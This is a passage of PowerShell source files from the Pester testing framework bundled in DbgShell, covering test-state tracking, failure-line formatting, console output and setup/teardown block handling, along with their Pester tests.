$r.Trace[1] -match 'at , .*\\Functions\\PesterState.Tests.ps1: line [0-9]*$' | Should be $true $r.Trace.Count | Should be 2 } } else { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at line: 2 in $testPath" $r.Trace.Count | Should be 1 } } } Context 'exception thrown in nested functions in file' { Set-Content -Path $testPath -Value @' function f1 { throw 'f1 message' } function f2 { f1 } f2 '@ try { & $testPath } catch { $e = $_ } $r = $e | ConvertTo-FailureLines It 'produces correct message lines.' { $r.Message[0] | Should be 'RuntimeException: f1 message' } if ( $e | Get-Member -Name ScriptStackTrace ) { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at f1, $testPath`: line 2" $r.Trace[1] | Should be "at f2, $testPath`: line 5" $r.Trace[2] | Should be "at , $testPath`: line 7" $r.Trace[3] -match 'at , .*\\Functions\\PesterState.Tests.ps1: line [0-9]*$' | Should be $true $r.Trace.Count | Should be 4 } } else { It 'produces correct trace lines.' { $r.Trace[0] | Should be "at line: 2 in $testPath" $r.Trace.Count | Should be 1 } } } Context 'nested exceptions thrown in file' { Set-Content -Path $testPath -Value @' try { throw New-Object System.ArgumentException( 'inner message', 'param_name' ) } catch { throw New-Object System.FormatException( 'outer message', $_.Exception ) } '@ try { & $testPath } catch { $e = $_ } $r = $e | ConvertTo-FailureLines It 'produces correct message lines.' { $r.Message[0] | Should be 'ArgumentException: inner message' $r.Message[1] | Should be 'Parameter name: param_name' $r.Message[2] | Should be 'FormatException: outer message' } if ( $e | Get-Member -Name ScriptStackTrace ) { It 'produces correct trace line.' { $r.Trace[0] | Should be "at , $testPath`: line 10" $r.Trace[1] -match 'at , .*\\Functions\\PesterState.Tests.ps1: line [0-9]*$' $r.Trace.Count | Should be 2 } } else { It 'produces correct trace line.' { $r.Trace[0] | Should be "at line: 10 in $testPath" $r.Trace.Count | Should be 1 } } } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/PesterState.ps1 ================================================ function New-PesterState { param ( [String[]]$TagFilter, [String[]]$ExcludeTagFilter, [String[]]$TestNameFilter, [System.Management.Automation.SessionState]$SessionState, [Switch]$Strict, [Pester.OutputTypes]$Show = 'All', [object]$PesterOption ) if ($null -eq $SessionState) { $SessionState = $ExecutionContext.SessionState } if ($null -eq $PesterOption) { $PesterOption = New-PesterOption } elseif ($PesterOption -is [System.Collections.IDictionary]) { try { $PesterOption = New-PesterOption @PesterOption } catch { throw } } & $SafeCommands['New-Module'] -Name Pester -AsCustomObject -ScriptBlock { param ( [String[]]$_tagFilter, [String[]]$_excludeTagFilter, [String[]]$_testNameFilter, [System.Management.Automation.SessionState]$_sessionState, [Switch]$Strict, [Pester.OutputTypes]$Show, [object]$PesterOption ) #public read-only $TagFilter = $_tagFilter $ExcludeTagFilter = $_excludeTagFilter $TestNameFilter = $_testNameFilter $script:SessionState = $_sessionState $script:CurrentContext = "" $script:CurrentDescribe = "" $script:CurrentTest = "" $script:Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() $script:MostRecentTimestamp = 0 $script:CommandCoverage = @() $script:BeforeEach = @() $script:AfterEach = @() $script:BeforeAll = @() $script:AfterAll = @() $script:Strict = $Strict $script:Show = $Show $script:TestResult = @() $script:TotalCount = 0 $script:Time = [timespan]0 $script:PassedCount = 0 $script:FailedCount = 0 $script:SkippedCount = 0 $script:PendingCount = 0 $script:InconclusiveCount = 0 $script:IncludeVSCodeMarker = $PesterOption.IncludeVSCodeMarker $script:SafeCommands = @{} $script:SafeCommands['New-Object'] = & (Pester\SafeGetCommand) -Name New-Object -Module Microsoft.PowerShell.Utility -CommandType Cmdlet $script:SafeCommands['Select-Object'] = & (Pester\SafeGetCommand) -Name Select-Object -Module Microsoft.PowerShell.Utility -CommandType Cmdlet $script:SafeCommands['Export-ModuleMember'] = & (Pester\SafeGetCommand) -Name Export-ModuleMember -Module Microsoft.PowerShell.Core -CommandType Cmdlet $script:SafeCommands['Add-Member'] = & (Pester\SafeGetCommand) -Name Add-Member -Module Microsoft.PowerShell.Utility -CommandType Cmdlet function EnterDescribe([string]$Name) { if ($CurrentDescribe) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in Describe, you cannot enter Describe twice" } $script:CurrentDescribe = $Name } function LeaveDescribe { if ( $CurrentContext ) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot leave Describe before leaving Context" } $script:CurrentDescribe = $null } function EnterContext([string]$Name) { if ( -not $CurrentDescribe ) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot enter Context before entering Describe" } if ( $CurrentContext ) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in Context, you cannot enter Context twice" } if ($CurrentTest) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in It, you cannot enter Context inside It" } $script:CurrentContext = $Name } function LeaveContext { if ($CurrentTest) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot leave Context before leaving It" } $script:CurrentContext = $null } function EnterTest([string]$Name) { if (-not $script:CurrentDescribe) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot enter It before entering Describe" } if ( $CurrentTest ) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in It, you cannot enter It twice" } $script:CurrentTest = $Name } function LeaveTest { $script:CurrentTest = $null } function AddTestResult { param ( [string]$Name, [ValidateSet("Failed","Passed","Skipped","Pending","Inconclusive")] [string]$Result, [Nullable[TimeSpan]]$Time, [string]$FailureMessage, [string]$StackTrace, [string] $ParameterizedSuiteName, [System.Collections.IDictionary] $Parameters, [System.Management.Automation.ErrorRecord] $ErrorRecord ) $previousTime = $script:MostRecentTimestamp $script:MostRecentTimestamp = $script:Stopwatch.Elapsed if ($null -eq $Time) { $Time = $script:MostRecentTimestamp - $previousTime } if (-not $script:Strict) { $Passed = "Passed","Skipped","Pending" -contains $Result } else { $Passed = $Result -eq "Passed" if (($Result -eq "Skipped") -or ($Result -eq "Pending")) { $FailureMessage = "The test failed because the test was executed in Strict mode and the result '$result' was translated to Failed." $Result = "Failed" } } $script:TotalCount++ $script:Time += $Time switch ($Result) { Passed { $script:PassedCount++; break; } Failed { $script:FailedCount++; break; } Skipped { $script:SkippedCount++; break; } Pending { $script:PendingCount++; break; } Inconclusive { $script:InconclusiveCount++; break; } } $Script:TestResult += & $SafeCommands['New-Object'] -TypeName PsObject -Property @{ Describe = $CurrentDescribe Context = $CurrentContext Name = $Name Passed = $Passed Result = $Result Time = $Time FailureMessage = $FailureMessage StackTrace = $StackTrace ErrorRecord = $ErrorRecord ParameterizedSuiteName = $ParameterizedSuiteName Parameters = $Parameters } | & $SafeCommands['Select-Object'] Describe, Context, Name, Result, Passed, Time, FailureMessage, StackTrace, ErrorRecord, ParameterizedSuiteName, Parameters } $ExportedVariables = "TagFilter", "ExcludeTagFilter", "TestNameFilter", "TestResult", "CurrentContext", "CurrentDescribe", "CurrentTest", "SessionState", "CommandCoverage", "BeforeEach", "AfterEach", "BeforeAll", "AfterAll", "Strict", "Show", "Time", "TotalCount", "PassedCount", "FailedCount", "SkippedCount", "PendingCount", "InconclusiveCount", "IncludeVSCodeMarker" $ExportedFunctions = "EnterContext", "LeaveContext", "EnterDescribe", "LeaveDescribe", "EnterTest", "LeaveTest", "AddTestResult" & $SafeCommands['Export-ModuleMember'] -Variable $ExportedVariables -function $ExportedFunctions } -ArgumentList $TagFilter, $ExcludeTagFilter, $TestNameFilter, $SessionState, $Strict, $Show, $PesterOption | & $SafeCommands['Add-Member'] -MemberType ScriptProperty -Name Scope -Value { if ($this.CurrentTest) { 'It' } elseif ($this.CurrentContext) { 'Context' } elseif ($this.CurrentDescribe) { 'Describe' } else { $null } } -Passthru | & $SafeCommands['Add-Member'] -MemberType ScriptProperty -Name ParentScope -Value { $parentScope = $null $scope = $this.Scope if ($scope -eq 'It' -and $this.CurrentContext) { $parentScope = 'Context' } if ($null -eq $parentScope -and $scope -ne 'Describe' -and $this.CurrentDescribe) { $parentScope = 'Describe' } return $parentScope } -PassThru } function Write-Describe { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)]$Name ) process { Write-Screen Describing $Name -OutputType Describe } } function Write-Context { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)]$Name ) process { $margin = " " * 3 Write-Screen ${margin}Context $Name -OutputType Context } } function Write-PesterResult { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)] $TestResult ) process { $testDepth = if ( $TestResult.Context ) { 4 } elseif ( $TestResult.Describe ) { 1 } else { 0 } $margin = " " * $TestDepth $error_margin = $margin + " " $output = $TestResult.name $humanTime = Get-HumanTime $TestResult.Time.TotalSeconds switch ($TestResult.Result) { Passed { "$margin[+] $output $humanTime" | Write-Screen -OutputType Passed break } Failed { "$margin[-] $output $humanTime" | Write-Screen -OutputType Failed $failureLines = $TestResult.ErrorRecord | ConvertTo-FailureLines if ($Pester.IncludeVSCodeMarker) { $marker = $failureLines | & $script:SafeCommands['Select-Object'] -First 1 -ExpandProperty Trace | & $script:SafeCommands['Select-Object'] -First 1 Write-Screen -OutputType Failed $($marker -replace '(?m)^',$error_margin) } $failureLines | & $SafeCommands['ForEach-Object'] {$_.Message + $_.Trace} | & $SafeCommands['ForEach-Object'] { Write-Screen -OutputType Failed $($_ -replace '(?m)^',$error_margin) } } Skipped { "$margin[!] $output $humanTime" | Write-Screen -OutputType Skipped break } Pending { "$margin[?] $output $humanTime" | Write-Screen -OutputType Pending break } Inconclusive { "$margin[?] $output $humanTime" | Write-Screen -OutputType Inconclusive if ($testresult.FailureMessage) { Write-Screen -OutputType Inconclusive $($TestResult.failureMessage -replace '(?m)^',$error_margin) } Write-Screen -OutputType Inconclusive $($TestResult.stackTrace -replace '(?m)^',$error_margin) break } } } } function ConvertTo-FailureLines { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)] $ErrorRecord ) process { $lines = & $script:SafeCommands['New-Object'] psobject -Property @{ Message = @() Trace = @() } ## convert the exception messages $exception = $ErrorRecord.Exception $exceptionLines = @() while ($exception) { $exceptionName = $exception.GetType().Name $thisLines = $exception.Message.Split([Environment]::NewLine, [System.StringSplitOptions]::RemoveEmptyEntries) if ($ErrorRecord.FullyQualifiedErrorId -ne 'PesterAssertionFailed') { $thisLines[0] = "$exceptionName`: $($thisLines[0])" } [array]::Reverse($thisLines) $exceptionLines += $thisLines $exception = $exception.InnerException } [array]::Reverse($exceptionLines) $lines.Message += $exceptionLines if ($ErrorRecord.FullyQualifiedErrorId -eq 'PesterAssertionFailed') { $lines.Message += "$($ErrorRecord.TargetObject.Line)`: $($ErrorRecord.TargetObject.LineText)".Split([Environment]::NewLine, [System.StringSplitOptions]::RemoveEmptyEntries) } if ( -not ($ErrorRecord | & $SafeCommands['Get-Member'] -Name ScriptStackTrace) ) { if ($ErrorRecord.FullyQualifiedErrorID -eq 'PesterAssertionFailed') { $lines.Trace += "at line: $($ErrorRecord.TargetObject.Line) in $($ErrorRecord.TargetObject.File)" } else { $lines.Trace += "at line: $($ErrorRecord.InvocationInfo.ScriptLineNumber) in $($ErrorRecord.InvocationInfo.ScriptName)" } return $lines } ## convert the stack trace $traceLines = $ErrorRecord.ScriptStackTrace.Split([Environment]::NewLine, [System.StringSplitOptions]::RemoveEmptyEntries) $count = 0 # omit the lines internal to Pester foreach ( $line in $traceLines ) { if ( $line -match '^at (Invoke-Test|Context|Describe|InModuleScope|Invoke-Pester), .*\\Functions\\.*.ps1: line [0-9]*$' ) { break } $count ++ } $lines.Trace += $traceLines | & $SafeCommands['Select-Object'] -First $count | & $SafeCommands['Where-Object'] { $_ -notmatch '^at Should, .*\\Functions\\Assertions\\Should.ps1: line [0-9]*$' -and $_ -notmatch '^at Assert-MockCalled, .*\\Functions\\Mock.ps1: line [0-9]*$' } return $lines } } function Write-PesterReport { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)] $PesterState ) Write-Screen "Tests completed in $(Get-HumanTime $PesterState.Time.TotalSeconds)" -OutputType "Summary" Write-Screen ("Passed: {0}, Failed: {1}, Skipped: {2}, Pending: {3}, Inconclusive: {4}" -f $PesterState.PassedCount, $PesterState.FailedCount, $PesterState.SkippedCount, $PesterState.PendingCount, $PesterState.InconclusiveCount) -OutputType "Summary" } function Write-Screen { #wraps the Write-Host cmdlet to control if the output is written to screen from one place param( #Write-Host parameters [Parameter(Position=0, ValueFromPipeline=$true, ValueFromRemainingArguments=$true)] [Object] $Object, [Switch] $NoNewline, [Object] $Separator, #custom parameters [Pester.OutputTypes] $OutputFilter = $pester.Show, [Pester.OutputTypes] $OutputType = 'Default' ) begin { $quiet = $OutputFilter -eq [Pester.OutputTypes]::None $writeToScreen = $OutputFilter | Has-Flag $OutputType $skipOutput = $quiet -or (-not $writeToScreen) if ($skipOutput) { return } #make the bound parameters compatible with Write-Host if ($PSBoundParameters.ContainsKey('OutputFilter')) { $PSBoundParameters.Remove('OutputFilter') | & $SafeCommands['Out-Null'] } if ($PSBoundParameters.ContainsKey('OutputType')) { $PSBoundParameters.Remove('OutputType') | & $SafeCommands['Out-Null'] } if (-not ($OutputType | Has-Flag 'Default, Summary')) { #create the key first to make it work in strict mode if (-not $PSBoundParameters.ContainsKey('ForegroundColor')) { $PSBoundParameters.Add('ForegroundColor', $null) } switch ($Host.Name) { #light background "PowerGUIScriptEditorHost" { $ColorSet = @{ Failed = [ConsoleColor]::Red Passed = [ConsoleColor]::DarkGreen Skipped = [ConsoleColor]::DarkGray Pending = [ConsoleColor]::DarkCyan Inconclusive = [ConsoleColor]::DarkCyan Describe = [ConsoleColor]::Magenta Context = [ConsoleColor]::Magenta } } #dark background { "Windows PowerShell ISE Host", "ConsoleHost" -contains $_ } { $ColorSet = @{ Failed = [ConsoleColor]::Red Passed = [ConsoleColor]::Green Skipped = [ConsoleColor]::Gray Pending = [ConsoleColor]::Cyan Inconclusive = [ConsoleColor]::Cyan Describe = [ConsoleColor]::Magenta Context = [ConsoleColor]::Magenta } } default { $ColorSet = @{ Failed = [ConsoleColor]::Red Passed = [ConsoleColor]::DarkGreen Skipped = [ConsoleColor]::Gray Pending = [ConsoleColor]::Gray Inconclusive = [ConsoleColor]::Gray Describe = [ConsoleColor]::Magenta Context = [ConsoleColor]::Magenta } } } # the output type must be forced to become string, otherwise the color is not found $PSBoundParameters.ForegroundColor = $ColorSet[$OutputType.ToString()] } try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Write-Host', [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters } $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { if ($skipOutput) { return } try { $steppablePipeline.Process($_) } catch { throw } } end { if ($skipOutput) { return } try { $steppablePipeline.End() } catch { throw } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/SetupTeardown.Tests.ps1 ================================================ Describe 'Describe-Scoped Test Case setup' { BeforeEach { $testVariable = 'From BeforeEach' } $testVariable = 'Set in Describe' It 'Assigns the correct value in first test' { $testVariable | Should Be 'From BeforeEach' $testVariable = 'Set in It' } It 'Assigns the correct value in subsequent tests' { $testVariable | Should Be 'From BeforeEach' } } Describe 'Context-scoped Test Case setup' { $testVariable = 'Set in Describe' Context 'The context' { BeforeEach { $testVariable = 'From BeforeEach' } It 'Assigns the correct value inside the context' { $testVariable | Should Be 'From BeforeEach' } } It 'Reports the original value after the Context' { $testVariable | Should Be 'Set in Describe' } } Describe 'Multiple Test Case setup blocks' { $testVariable = 'Set in Describe' BeforeEach { $testVariable = 'Set in Describe BeforeEach' } Context 'The context' { It 'Executes Describe setup blocks first, then Context blocks in the order they were defined (even if they are defined after the It block.)' { $testVariable | Should Be 'Set in the second Context BeforeEach' } BeforeEach { $testVariable = 'Set in the first Context BeforeEach' } BeforeEach { $testVariable = 'Set in the second Context BeforeEach' } } It 'Continues to execute Describe setup blocks after the Context' { $testVariable | Should Be 'Set in Describe BeforeEach' } } Describe 'Describe-scoped Test Case teardown' { $testVariable = 'Set in Describe' AfterEach { $testVariable = 'Set in AfterEach' } It 'Does not modify the variable before the first test' { $testVariable | Should Be 'Set in Describe' } It 'Modifies the variable after the first test' { $testVariable | Should Be 'Set in AfterEach' } } Describe 'Multiple Test Case teardown blocks' { $testVariable = 'Set in Describe' AfterEach { $testVariable = 'Set in Describe AfterEach' } Context 'The context' { AfterEach { $testVariable = 'Set in the first Context AfterEach' } It 'Performs a test in Context' { "some output to prevent the It being marked as Pending and failing because of Strict mode"} It 'Executes Describe teardown blocks after Context teardown blocks' { $testVariable | Should Be 'Set in the second Describe AfterEach' } } AfterEach { $testVariable = 'Set in the second Describe AfterEach' } } $script:DescribeBeforeAllCounter = 0 $script:DescribeAfterAllCounter = 0 $script:ContextBeforeAllCounter = 0 $script:ContextAfterAllCounter = 0 Describe 'Test Group Setup and Teardown' { It 'Executed the Describe BeforeAll regardless of definition order' { $script:DescribeBeforeAllCounter | Should Be 1 } It 'Did not execute any other block yet' { $script:DescribeAfterAllCounter | Should Be 0 $script:ContextBeforeAllCounter | Should Be 0 $script:ContextAfterAllCounter | Should Be 0 } BeforeAll { $script:DescribeBeforeAllCounter++ } AfterAll { $script:DescribeAfterAllCounter++ } Context 'Context scoped setup and teardown' { BeforeAll { $script:ContextBeforeAllCounter++ } AfterAll { $script:ContextAfterAllCounter++ } It 'Executed the Context BeforeAll block' { $script:ContextBeforeAllCounter | Should Be 1 } It 'Has not executed any other blocks yet' { $script:DescribeBeforeAllCounter | Should Be 1 $script:DescribeAfterAllCounter | Should Be 0 $script:ContextAfterAllCounter | Should Be 0 } } It 'Executed the Context AfterAll block' { $script:ContextAfterAllCounter | Should Be 1 } } Describe 'Finishing TestGroup Setup and Teardown tests' { It 'Executed each Describe and Context group block once' { $script:DescribeBeforeAllCounter | Should Be 1 $script:DescribeAfterAllCounter | Should Be 1 $script:ContextBeforeAllCounter | Should Be 1 $script:ContextAfterAllCounter | Should Be 1 } } if ($PSVersionTable.PSVersion.Major -ge 3) { $thisTestScriptFilePath = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($PSCommandPath) Describe 'Script Blocks and file association (testing automatic variables)' { BeforeEach { $commandPath = $PSCommandPath } $beforeEachBlock = InModuleScope Pester { $pester.BeforeEach[0].ScriptBlock } It 'Creates script block objects associated with the proper file' { $scriptBlockFilePath = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($beforeEachBlock.File) $scriptBlockFilePath | Should Be $thisTestScriptFilePath } It 'Has the correct automatic variable values inside the BeforeEach block' { $commandPath | Should Be $PSCommandPath } } } #Testing if failing setup or teardown will fail 'It' is done in the TestsRunningInCleanRunspace.Tests.ps1 file ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/SetupTeardown.ps1 ================================================ function BeforeEach { <# .SYNOPSIS Defines a series of steps to perform at the beginning of every It block within the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. For a full description of this behavior, as well as how multiple BeforeEach or AfterEach blocks interact with each other, please refer to the about_BeforeEach_AfterEach help file. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName BeforeEach } function AfterEach { <# .SYNOPSIS Defines a series of steps to perform at the end of every It block within the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. For a full description of this behavior, as well as how multiple BeforeEach or AfterEach blocks interact with each other, please refer to the about_BeforeEach_AfterEach help file. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName AfterEach } function BeforeAll { <# .SYNOPSIS Defines a series of steps to perform at the beginning of the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName BeforeAll } function AfterAll { <# .SYNOPSIS Defines a series of steps to perform at the end of every It block within the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName AfterAll } function Clear-SetupAndTeardown { $pester.BeforeEach = @( $pester.BeforeEach | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) $pester.AfterEach = @( $pester.AfterEach | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) $pester.BeforeAll = @( $pester.BeforeAll | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) $pester.AfterAll = @( $pester.AfterAll | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) } function Invoke-TestCaseSetupBlocks { $orderedSetupBlocks = @( $pester.BeforeEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Describe' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock $pester.BeforeEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Context' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock ) Invoke-Blocks -ScriptBlock $orderedSetupBlocks } function Invoke-TestCaseTeardownBlocks { $orderedTeardownBlocks = @( $pester.AfterEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Context' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock $pester.AfterEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Describe' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock ) Invoke-Blocks -ScriptBlock $orderedTeardownBlocks } function Invoke-TestGroupSetupBlocks { param ([string] $Scope) $scriptBlocks = $pester.BeforeAll | & $SafeCommands['Where-Object'] { $_.Scope -eq $Scope } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock Invoke-Blocks -ScriptBlock $scriptBlocks } function Invoke-TestGroupTeardownBlocks { param ([string] $Scope) $scriptBlocks = $pester.AfterAll | & $SafeCommands['Where-Object'] { $_.Scope -eq $Scope } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock Invoke-Blocks -ScriptBlock $scriptBlocks } function Invoke-Blocks { param ([scriptblock[]] $ScriptBlock) foreach ($block in $ScriptBlock) { if ($null -eq $block) { continue } $null = . $block } } function Add-SetupAndTeardown { param ( [scriptblock] $ScriptBlock ) if ($PSVersionTable.PSVersion.Major -le 2) { Add-SetupAndTeardownV2 -ScriptBlock $ScriptBlock } else { Add-SetupAndTeardownV3 -ScriptBlock $ScriptBlock } } function Add-SetupAndTeardownV3 { param ( [scriptblock] $ScriptBlock ) $pattern = '^(?:Before|After)(?:Each|All)$' $predicate = { param ([System.Management.Automation.Language.Ast] $Ast) $Ast -is [System.Management.Automation.Language.CommandAst] -and $Ast.CommandElements.Count -eq 2 -and $Ast.CommandElements[0].ToString() -match $pattern -and $Ast.CommandElements[1] -is [System.Management.Automation.Language.ScriptBlockExpressionAst] } $searchNestedBlocks = $false $calls = $ScriptBlock.Ast.FindAll($predicate, $searchNestedBlocks) foreach ($call in $calls) { # For some reason, calling ScriptBlockAst.GetScriptBlock() sometimes blows up due to failing semantics # checks, even though the code is perfectly valid. So we'll poke around with reflection again to skip # that part and just call the internal ScriptBlock constructor that we need $iPmdProviderType = [scriptblock].Assembly.GetType('System.Management.Automation.Language.IParameterMetadataProvider') $flags = [System.Reflection.BindingFlags]'Instance, NonPublic' $constructor = [scriptblock].GetConstructor($flags, $null, [Type[]]@($iPmdProviderType, [bool]), $null) $block = $constructor.Invoke(@($call.CommandElements[1].ScriptBlock, $false)) Set-ScriptBlockScope -ScriptBlock $block -SessionState $pester.SessionState $commandName = $call.CommandElements[0].ToString() Add-SetupOrTeardownScriptBlock -CommandName $commandName -ScriptBlock $block } } function Add-SetupAndTeardownV2 { param ( [scriptblock] $ScriptBlock ) $codeText = $ScriptBlock.ToString() $tokens = @(ParseCodeIntoTokens -CodeText $codeText) for ($i = 0; $i -lt $tokens.Count; $i++) { $token = $tokens[$i] $type = $token.Type if ($type -eq [System.Management.Automation.PSTokenType]::Command -and (IsSetupOrTeardownCommand -CommandName $token.Content)) { $openBraceIndex, $closeBraceIndex = Get-BraceIndicesForCommand -Tokens $tokens -CommandIndex $i $block = Get-ScriptBlockFromTokens -Tokens $Tokens -OpenBraceIndex $openBraceIndex -CloseBraceIndex $closeBraceIndex -CodeText $codeText Add-SetupOrTeardownScriptBlock -CommandName $token.Content -ScriptBlock $block $i = $closeBraceIndex } elseif ($type -eq [System.Management.Automation.PSTokenType]::GroupStart) { # We don't want to parse Setup or Teardown commands in child scopes here, so anything # bounded by a GroupStart / GroupEnd token pair which is not immediately preceded by # a setup / teardown command name is ignored. $i = Get-GroupCloseTokenIndex -Tokens $tokens -GroupStartTokenIndex $i } } } function ParseCodeIntoTokens { param ([string] $CodeText) $parseErrors = $null $tokens = [System.Management.Automation.PSParser]::Tokenize($CodeText, [ref] $parseErrors) if ($parseErrors.Count -gt 0) { $currentScope = $pester.Scope throw "The current $currentScope block contains syntax errors." } return $tokens } function IsSetupOrTeardownCommand { param ([string] $CommandName) return (IsSetupCommand -CommandName $CommandName) -or (IsTeardownCommand -CommandName $CommandName) } function IsSetupCommand { param ([string] $CommandName) return $CommandName -eq 'BeforeEach' -or $CommandName -eq 'BeforeAll' } function IsTeardownCommand { param ([string] $CommandName) return $CommandName -eq 'AfterEach' -or $CommandName -eq 'AfterAll' } function IsTestGroupCommand { param ([string] $CommandName) return $CommandName -eq 'BeforeAll' -or $CommandName -eq 'AfterAll' } function Get-BraceIndicesForCommand { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $CommandIndex ) $openingGroupTokenIndex = Get-GroupStartTokenForCommand -Tokens $Tokens -CommandIndex $CommandIndex $closingGroupTokenIndex = Get-GroupCloseTokenIndex -Tokens $Tokens -GroupStartTokenIndex $openingGroupTokenIndex return $openingGroupTokenIndex, $closingGroupTokenIndex } function Get-GroupStartTokenForCommand { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $CommandIndex ) # We may want to allow newlines, other parameters, etc at some point. For now it's good enough to # just verify that the next token after our BeforeEach or AfterEach command is an opening curly brace. $commandName = $Tokens[$CommandIndex].Content if ($CommandIndex + 1 -ge $tokens.Count -or $tokens[$CommandIndex + 1].Type -ne [System.Management.Automation.PSTokenType]::GroupStart -or $tokens[$CommandIndex + 1].Content -ne '{') { throw "The $commandName command must be immediately followed by the opening brace of a script block." } return $CommandIndex + 1 } & $SafeCommands['Add-Type'] -TypeDefinition @' namespace Pester { using System; using System.Management.Automation; public static class ClosingBraceFinder { public static int GetClosingBraceIndex(PSToken[] tokens, int startIndex) { int groupLevel = 1; int len = tokens.Length; for (int i = startIndex + 1; i < len; i++) { PSTokenType type = tokens[i].Type; if (type == PSTokenType.GroupStart) { groupLevel++; } else if (type == PSTokenType.GroupEnd) { groupLevel--; if (groupLevel <= 0) { return i; } } } return -1; } } } '@ function Get-GroupCloseTokenIndex { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $GroupStartTokenIndex ) $closeIndex = [Pester.ClosingBraceFinder]::GetClosingBraceIndex($Tokens, $GroupStartTokenIndex) if ($closeIndex -lt 0) { throw 'No corresponding GroupEnd token was found.' } return $closeIndex } function Get-ScriptBlockFromTokens { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $OpenBraceIndex, [int] $CloseBraceIndex, [string] $CodeText ) $blockStart = $Tokens[$OpenBraceIndex + 1].Start $blockLength = $Tokens[$CloseBraceIndex].Start - $blockStart $setupOrTeardownCodeText = $codeText.Substring($blockStart, $blockLength) $scriptBlock = [scriptblock]::Create($setupOrTeardownCodeText) Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $pester.SessionState return $scriptBlock } function Add-SetupOrTeardownScriptBlock { param ( [string] $CommandName, [scriptblock] $ScriptBlock ) $isSetupCommand = IsSetupCommand -CommandName $CommandName $isGroupCommand = IsTestGroupCommand -CommandName $CommandName if ($isSetupCommand) { if ($isGroupCommand) { Add-BeforeAll -ScriptBlock $ScriptBlock } else { Add-BeforeEach -ScriptBlock $ScriptBlock } } else { if ($isGroupCommand) { Add-AfterAll -ScriptBlock $ScriptBlock } else { Add-AfterEach -ScriptBlock $ScriptBlock } } } function Add-BeforeEach { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.BeforeEach += @(& $SafeCommands['New-Object'] psobject -Property $props) } function Add-AfterEach { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.AfterEach += @(& $SafeCommands['New-Object'] psobject -Property $props) } function Add-BeforeAll { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.BeforeAll += @(& $SafeCommands['New-Object'] psobject -Property $props) } function Add-AfterAll { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.AfterAll += @(& $SafeCommands['New-Object'] psobject -Property $props) } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/TestDrive.Tests.ps1 ================================================ Set-StrictMode -Version Latest if ($PSVersionTable.PSVersion.Major -lt 6 -or $IsWindows) { $tempPath = 